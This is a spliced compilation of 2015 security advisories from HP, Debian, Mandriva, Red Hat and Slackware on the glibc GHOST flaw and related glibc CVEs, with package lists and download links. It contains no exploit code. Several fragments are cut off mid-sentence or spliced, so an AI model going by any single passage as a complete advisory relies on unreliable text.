is set to \"Refuse insecure\nconnections\". Updating VMware to the latest package on ftp.hp.com will solve\nthe problem. \n\nHISTORY\nVersion:1 (rev.1) - 20 March 2015 Initial release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running HP software products should be applied in\naccordance with the customer\u0027s patch management policy. \n\nSupport: For issues about implementing the recommendations of this Security\nBulletin, contact normal HP Services support channel. For other issues about\nthe content of this Security Bulletin, send e-mail to security-alert@hp.com. \n\nReport: To report a potential security vulnerability with any HP supported\nproduct, send Email to: security-alert@hp.com\n\nSubscribe: To initiate a subscription to receive future HP Security Bulletin\nalerts via Email:\nhttp://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins\n\nSecurity Bulletin Archive: A list of recently released Security Bulletins is\navailable here:\nhttps://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/\n\nSoftware Product Category: The Software Product Category is represented in\nthe title by the two characters following HPSB. \n\n3C = 3COM\n3P = 3rd Party Software\nGN = HP General Software\nHF = HP Hardware and Firmware\nMP = MPE/iX\nMU = Multi-Platform Software\nNS = NonStop Servers\nOV = OpenVMS\nPI = Printing and Imaging\nPV = ProCurve\nST = Storage Software\nTU = Tru64 UNIX\nUX = HP-UX\n\nCopyright 2015 Hewlett-Packard Development Company, L.P. \nHewlett-Packard Company shall not be liable for technical or editorial errors\nor omissions contained herein. The information provided is provided \"as is\"\nwithout warranty of any kind. To the extent permitted by law, neither HP or\nits affiliates, subcontractors or suppliers will be liable for\nincidental,special or consequential damages including downtime cost; lost\nprofits; damages relating to the procurement of substitute products or\nservices; or damages for loss of data, or software restoration. The\ninformation in this document is subject to change without notice. \nHewlett-Packard Company and the names of Hewlett-Packard products referenced\nherein are trademarks of Hewlett-Packard Company in the United States and\nother countries. Other product and company names mentioned herein may be\ntrademarks of their respective owners. \n\n The original glibc bug was reported by Peter Klotz. \n\nCVE-2014-7817\n\n Tim Waugh of Red Hat discovered that the WRDE_NOCMD option of the\n wordexp function did not suppress command execution in all cases. \n This allows a context-dependent attacker to execute shell\n commands. \n\nCVE-2012-6656\nCVE-2014-6040\n\n The charset conversion code for certain IBM multi-byte code pages\n could perform an out-of-bounds array access, causing the process\n to crash. In some scenarios, this allows a remote attacker to\n cause a persistent denial of service. \n\nFor the upcoming stable distribution (jessie) and the unstable\ndistribution (sid), the CVE-2015-0235 issue has been fixed in version\n2.18-1 of the glibc package. \n\nWe recommend that you upgrade your eglibc packages. \n _______________________________________________________________________\n\n References:\n\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0235\n https://rhn.redhat.com/errata/RHSA-2015-0092.html\n _______________________________________________________________________\n\n Updated Packages:\n\n Mandriva Business Server 1/X86_64:\n 678efef85b85206451ef8927bad808e0 mbs1/x86_64/glibc-2.14.1-12.11.mbs1.x86_64.rpm\n 46cd508f03e36c1e4f752c317852ec8e mbs1/x86_64/glibc-devel-2.14.1-12.11.mbs1.x86_64.rpm\n 069302c80e3b79504e2b0eaaa72c2745 mbs1/x86_64/glibc-doc-2.14.1-12.11.mbs1.noarch.rpm\n 3a841c0295823354655dd3e7734ada0b mbs1/x86_64/glibc-doc-pdf-2.14.1-12.11.mbs1.noarch.rpm\n 11a672a0b4bae77c7adfa803bea9871f mbs1/x86_64/glibc-i18ndata-2.14.1-12.11.mbs1.x86_64.rpm\n d3f113ccec4f18e4bb08c951625e51d7 mbs1/x86_64/glibc-profile-2.14.1-12.11.mbs1.x86_64.rpm\n f6d6aa5806dd747e66996ea8cc01c9b4 mbs1/x86_64/glibc-static-devel-2.14.1-12.11.mbs1.x86_64.rpm\n 98cc6eae0234eeed945712bbc8b2c0ea mbs1/x86_64/glibc-utils-2.14.1-12.11.mbs1.x86_64.rpm\n bf6f2fcc3dd21bd8380aac40e91bb802 mbs1/x86_64/nscd-2.14.1-12.11.mbs1.x86_64.rpm \n f597e4d6241c76701733d730e84f5714 mbs1/SRPMS/glibc-2.14.1-12.11.mbs1.src.rpm\n _______________________________________________________________________\n\n To upgrade automatically use MandrivaUpdate or urpmi. The verification\n of md5 checksums and GPG signatures is performed automatically for you. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n=====================================================================\n Red Hat Security Advisory\n\nSynopsis: Critical: glibc security update\nAdvisory ID: RHSA-2015:0092-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://rhn.redhat.com/errata/RHSA-2015-0092.html\nIssue date: 2015-01-27\nCVE Names: CVE-2015-0235 \n=====================================================================\n\n1. Summary:\n\nUpdated glibc packages that fix one security issue are now available for\nRed Hat Enterprise Linux 6 and 7. \n\nRed Hat Product Security has rated this update as having Critical security\nimpact. A Common Vulnerability Scoring System (CVSS) base score, which\ngives a detailed severity rating, is available from the CVE link in the\nReferences section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Client (v. 7) - x86_64\nRed Hat Enterprise Linux Client Optional (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64\nRed Hat Enterprise Linux Desktop (v. 6) - i386, x86_64\nRed Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64\nRed Hat Enterprise Linux HPC Node (v. 6) - x86_64\nRed Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64\nRed Hat Enterprise Linux Server (v. 6) - i386, ppc64, s390x, x86_64\nRed Hat Enterprise Linux Server (v. 7) - ppc64, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 6) - i386, ppc64, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 7) - ppc64, s390x, x86_64\nRed Hat Enterprise Linux Workstation (v. 6) - i386, x86_64\nRed Hat Enterprise Linux Workstation (v. 7) - x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 6) - i386, x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 7) - x86_64\n\n3. Description:\n\nThe glibc packages provide the standard C libraries (libc), POSIX thread\nlibraries (libpthread), standard math libraries (libm), and the Name\nServer Caching Daemon (nscd) used by multiple programs on the system. \nWithout these libraries, the Linux system cannot function correctly. (CVE-2015-0235)\n\nRed Hat would like to thank Qualys for reporting this issue. \n\nAll glibc users are advised to upgrade to these updated packages, which\ncontain a backported patch to correct this issue. \n\n4. Solution:\n\nBefore applying this update, make sure all previously released errata\nrelevant to your system have been applied. \n\nThis update is available via the Red Hat Network. Details on how to use the\nRed Hat Network to apply this update are available at\nhttps://access.redhat.com/articles/11258\n\n5. Package List:\n\nRed Hat Enterprise Linux Desktop (v. 6):\n\nSource:\nglibc-2.12-1.149.el6_6.5.src.rpm\n\ni386:\nglibc-2.12-1.149.el6_6.5.i686.rpm\nglibc-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-devel-2.12-1.149.el6_6.5.i686.rpm\nglibc-headers-2.12-1.149.el6_6.5.i686.rpm\nglibc-utils-2.12-1.149.el6_6.5.i686.rpm\nnscd-2.12-1.149.el6_6.5.i686.rpm\n\nx86_64:\nglibc-2.12-1.149.el6_6.5.i686.rpm\nglibc-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-common-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-devel-2.12-1.149.el6_6.5.i686.rpm\nglibc-devel-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-headers-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-utils-2.12-1.149.el6_6.5.x86_64.rpm\nnscd-2.12-1.149.el6_6.5.x86_64.rpm\n\nRed Hat Enterprise Linux Desktop Optional (v. 6):\n\ni386:\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-static-2.12-1.149.el6_6.5.i686.rpm\n\nx86_64:\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-static-2.12-1.149.el6_6.5.i686.rpm\nglibc-static-2.12-1.149.el6_6.5.x86_64.rpm\n\nRed Hat Enterprise Linux HPC Node (v. 6):\n\nSource:\nglibc-2.12-1.149.el6_6.5.src.rpm\n\nx86_64:\nglibc-2.12-1.149.el6_6.5.i686.rpm\nglibc-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-common-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-devel-2.12-1.149.el6_6.5.i686.rpm\nglibc-devel-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-headers-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-utils-2.12-1.149.el6_6.5.x86_64.rpm\nnscd-2.12-1.149.el6_6.5.x86_64.rpm\n\nRed Hat Enterprise Linux HPC Node Optional (v. 6):\n\nx86_64:\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-static-2.12-1.149.el6_6.5.i686.rpm\nglibc-static-2.12-1.149.el6_6.5.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 6):\n\nSource:\nglibc-2.12-1.149.el6_6.5.src.rpm\n\ni386:\nglibc-2.12-1.149.el6_6.5.i686.rpm\nglibc-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-devel-2.12-1.149.el6_6.5.i686.rpm\nglibc-headers-2.12-1.149.el6_6.5.i686.rpm\nglibc-utils-2.12-1.149.el6_6.5.i686.rpm\nnscd-2.12-1.149.el6_6.5.i686.rpm\n\nppc64:\nglibc-2.12-1.149.el6_6.5.ppc.rpm\nglibc-2.12-1.149.el6_6.5.ppc64.rpm\nglibc-common-2.12-1.149.el6_6.5.ppc64.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.ppc.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.ppc64.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.ppc.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.ppc64.rpm\nglibc-devel-2.12-1.149.el6_6.5.ppc.rpm\nglibc-devel-2.12-1.149.el6_6.5.ppc64.rpm\nglibc-headers-2.12-1.149.el6_6.5.ppc64.rpm\nglibc-utils-2.12-1.149.el6_6.5.ppc64.rpm\nnscd-2.12-1.149.el6_6.5.ppc64.rpm\n\ns390x:\nglibc-2.12-1.149.el6_6.5.s390.rpm\nglibc-2.12-1.149.el6_6.5.s390x.rpm\nglibc-common-2.12-1.149.el6_6.5.s390x.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.s390.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.s390x.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.s390.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.s390x.rpm\nglibc-devel-2.12-1.149.el6_6.5.s390.rpm\nglibc-devel-2.12-1.149.el6_6.5.s390x.rpm\nglibc-headers-2.12-1.149.el6_6.5.s390x.rpm\nglibc-utils-2.12-1.149.el6_6.5.s390x.rpm\nnscd-2.12-1.149.el6_6.5.s390x.rpm\n\nx86_64:\nglibc-2.12-1.149.el6_6.5.i686.rpm\nglibc-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-common-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-devel-2.12-1.149.el6_6.5.i686.rpm\nglibc-devel-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-headers-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-utils-2.12-1.149.el6_6.5.x86_64.rpm\nnscd-2.12-1.149.el6_6.5.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 6):\n\ni386:\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-static-2.12-1.149.el6_6.5.i686.rpm\n\nppc64:\nglibc-debuginfo-2.12-1.149.el6_6.5.ppc.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.ppc64.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.ppc.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.ppc64.rpm\nglibc-static-2.12-1.149.el6_6.5.ppc.rpm\nglibc-static-2.12-1.149.el6_6.5.ppc64.rpm\n\ns390x:\nglibc-debuginfo-2.12-1.149.el6_6.5.s390.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.s390x.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.s390.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.s390x.rpm\nglibc-static-2.12-1.149.el6_6.5.s390.rpm\nglibc-static-2.12-1.149.el6_6.5.s390x.rpm\n\nx86_64:\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-static-2.12-1.149.el6_6.5.i686.rpm\nglibc-static-2.12-1.149.el6_6.5.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 6):\n\nSource:\nglibc-2.12-1.149.el6_6.5.src.rpm\n\ni386:\nglibc-2.12-1.149.el6_6.5.i686.rpm\nglibc-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-devel-2.12-1.149.el6_6.5.i686.rpm\nglibc-headers-2.12-1.149.el6_6.5.i686.rpm\nglibc-utils-2.12-1.149.el6_6.5.i686.rpm\nnscd-2.12-1.149.el6_6.5.i686.rpm\n\nx86_64:\nglibc-2.12-1.149.el6_6.5.i686.rpm\nglibc-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-common-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-devel-2.12-1.149.el6_6.5.i686.rpm\nglibc-devel-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-headers-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-utils-2.12-1.149.el6_6.5.x86_64.rpm\nnscd-2.12-1.149.el6_6.5.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 6):\n\ni386:\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-static-2.12-1.149.el6_6.5.i686.rpm\n\nx86_64:\nglibc-debuginfo-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.i686.rpm\nglibc-debuginfo-common-2.12-1.149.el6_6.5.x86_64.rpm\nglibc-static-2.12-1.149.el6_6.5.i686.rpm\nglibc-static-2.12-1.149.el6_6.5.x86_64.rpm\n\nRed Hat Enterprise Linux Client (v. 7):\n\nSource:\nglibc-2.17-55.el7_0.5.src.rpm\n\nx86_64:\nglibc-2.17-55.el7_0.5.i686.rpm\nglibc-2.17-55.el7_0.5.x86_64.rpm\nglibc-common-2.17-55.el7_0.5.x86_64.rpm\nglibc-debuginfo-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm\nglibc-devel-2.17-55.el7_0.5.i686.rpm\nglibc-devel-2.17-55.el7_0.5.x86_64.rpm\nglibc-headers-2.17-55.el7_0.5.x86_64.rpm\nglibc-utils-2.17-55.el7_0.5.x86_64.rpm\nnscd-2.17-55.el7_0.5.x86_64.rpm\n\nRed Hat Enterprise Linux Client Optional (v. 7):\n\nx86_64:\nglibc-debuginfo-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm\nglibc-static-2.17-55.el7_0.5.i686.rpm\nglibc-static-2.17-55.el7_0.5.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode (v. 7):\n\nSource:\nglibc-2.17-55.el7_0.5.src.rpm\n\nx86_64:\nglibc-2.17-55.el7_0.5.i686.rpm\nglibc-2.17-55.el7_0.5.x86_64.rpm\nglibc-common-2.17-55.el7_0.5.x86_64.rpm\nglibc-debuginfo-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm\nglibc-devel-2.17-55.el7_0.5.i686.rpm\nglibc-devel-2.17-55.el7_0.5.x86_64.rpm\nglibc-headers-2.17-55.el7_0.5.x86_64.rpm\nglibc-utils-2.17-55.el7_0.5.x86_64.rpm\nnscd-2.17-55.el7_0.5.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode Optional (v. 7):\n\nx86_64:\nglibc-debuginfo-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm\nglibc-static-2.17-55.el7_0.5.i686.rpm\nglibc-static-2.17-55.el7_0.5.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 7):\n\nSource:\nglibc-2.17-55.el7_0.5.src.rpm\n\nppc64:\nglibc-2.17-55.el7_0.5.ppc.rpm\nglibc-2.17-55.el7_0.5.ppc64.rpm\nglibc-common-2.17-55.el7_0.5.ppc64.rpm\nglibc-debuginfo-2.17-55.el7_0.5.ppc.rpm\nglibc-debuginfo-2.17-55.el7_0.5.ppc64.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.ppc.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.ppc64.rpm\nglibc-devel-2.17-55.el7_0.5.ppc.rpm\nglibc-devel-2.17-55.el7_0.5.ppc64.rpm\nglibc-headers-2.17-55.el7_0.5.ppc64.rpm\nglibc-utils-2.17-55.el7_0.5.ppc64.rpm\nnscd-2.17-55.el7_0.5.ppc64.rpm\n\ns390x:\nglibc-2.17-55.el7_0.5.s390.rpm\nglibc-2.17-55.el7_0.5.s390x.rpm\nglibc-common-2.17-55.el7_0.5.s390x.rpm\nglibc-debuginfo-2.17-55.el7_0.5.s390.rpm\nglibc-debuginfo-2.17-55.el7_0.5.s390x.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.s390.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.s390x.rpm\nglibc-devel-2.17-55.el7_0.5.s390.rpm\nglibc-devel-2.17-55.el7_0.5.s390x.rpm\nglibc-headers-2.17-55.el7_0.5.s390x.rpm\nglibc-utils-2.17-55.el7_0.5.s390x.rpm\nnscd-2.17-55.el7_0.5.s390x.rpm\n\nx86_64:\nglibc-2.17-55.el7_0.5.i686.rpm\nglibc-2.17-55.el7_0.5.x86_64.rpm\nglibc-common-2.17-55.el7_0.5.x86_64.rpm\nglibc-debuginfo-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm\nglibc-devel-2.17-55.el7_0.5.i686.rpm\nglibc-devel-2.17-55.el7_0.5.x86_64.rpm\nglibc-headers-2.17-55.el7_0.5.x86_64.rpm\nglibc-utils-2.17-55.el7_0.5.x86_64.rpm\nnscd-2.17-55.el7_0.5.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 7):\n\nppc64:\nglibc-debuginfo-2.17-55.el7_0.5.ppc.rpm\nglibc-debuginfo-2.17-55.el7_0.5.ppc64.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.ppc.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.ppc64.rpm\nglibc-static-2.17-55.el7_0.5.ppc.rpm\nglibc-static-2.17-55.el7_0.5.ppc64.rpm\n\ns390x:\nglibc-debuginfo-2.17-55.el7_0.5.s390.rpm\nglibc-debuginfo-2.17-55.el7_0.5.s390x.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.s390.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.s390x.rpm\nglibc-static-2.17-55.el7_0.5.s390.rpm\nglibc-static-2.17-55.el7_0.5.s390x.rpm\n\nx86_64:\nglibc-debuginfo-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm\nglibc-static-2.17-55.el7_0.5.i686.rpm\nglibc-static-2.17-55.el7_0.5.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 7):\n\nSource:\nglibc-2.17-55.el7_0.5.src.rpm\n\nx86_64:\nglibc-2.17-55.el7_0.5.i686.rpm\nglibc-2.17-55.el7_0.5.x86_64.rpm\nglibc-common-2.17-55.el7_0.5.x86_64.rpm\nglibc-debuginfo-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm\nglibc-devel-2.17-55.el7_0.5.i686.rpm\nglibc-devel-2.17-55.el7_0.5.x86_64.rpm\nglibc-headers-2.17-55.el7_0.5.x86_64.rpm\nglibc-utils-2.17-55.el7_0.5.x86_64.rpm\nnscd-2.17-55.el7_0.5.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 7):\n\nx86_64:\nglibc-debuginfo-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm\nglibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm\nglibc-static-2.17-55.el7_0.5.i686.rpm\nglibc-static-2.17-55.el7_0.5.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2015-0235\nhttps://access.redhat.com/security/updates/classification/#critical\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2015 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niD8DBQFUx9bmXlSAg2UNWIIRAjP4AJ9/EPFLyhSuapG8Lie71zPk6VaF8wCfVAw2\nVIBda0hF+i0zAuST73ezXzI=\n=w5UI\n-----END PGP SIGNATURE-----\n\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. \n\n\nHere are the details from the Slackware 14.1 ChangeLog:\n+--------------------------+\npatches/packages/glibc-2.17-i486-10_slack14.1.txz: Rebuilt. This flaw could allow local or remote attackers to take control\n of a machine running a vulnerable version of glibc. Thanks to Qualys for\n discovering this issue (also known as the GHOST vulnerability.)\n For more information, see:\n https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0235\n (* Security fix *)\npatches/packages/glibc-i18n-2.17-i486-10_slack14.1.txz: Rebuilt. \npatches/packages/glibc-profile-2.17-i486-10_slack14.1.txz: Rebuilt. \npatches/packages/glibc-solibs-2.17-i486-10_slack14.1.txz: Rebuilt. \npatches/packages/glibc-zoneinfo-2014j-noarch-1.txz: Upgraded. \n Upgraded to tzcode2014j and tzdata2014j. \n+--------------------------+\n\n\nWhere to find the new packages:\n+-----------------------------+\n\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project! :-)\n\nAlso see the \"Get Slack\" section on http://slackware.com for\nadditional mirror sites near you. \n\nUpdated packages for Slackware 13.0:\nftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/glibc-2.9-i486-7_slack13.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/glibc-i18n-2.9-i486-7_slack13.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/glibc-profile-2.9-i486-7_slack13.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/glibc-solibs-2.9-i486-7_slack13.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz\n\nUpdated packages for Slackware x86_64 13.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/glibc-2.9-x86_64-7_slack13.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/glibc-i18n-2.9-x86_64-7_slack13.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/glibc-profile-2.9-x86_64-7_slack13.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/glibc-solibs-2.9-x86_64-7_slack13.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz\n\nUpdated packages for Slackware 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-2.11.1-i486-9_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-i18n-2.11.1-i486-9_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-profile-2.11.1-i486-9_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-solibs-2.11.1-i486-9_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz\n\nUpdated packages for Slackware x86_64 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-2.11.1-x86_64-9_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-i18n-2.11.1-x86_64-9_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-profile-2.11.1-x86_64-9_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-solibs-2.11.1-x86_64-9_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz\n\nUpdated packages for Slackware 13.37:\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-2.13-i486-8_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-i18n-2.13-i486-8_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-profile-2.13-i486-8_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-solibs-2.13-i486-8_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz\n\nUpdated packages for Slackware x86_64 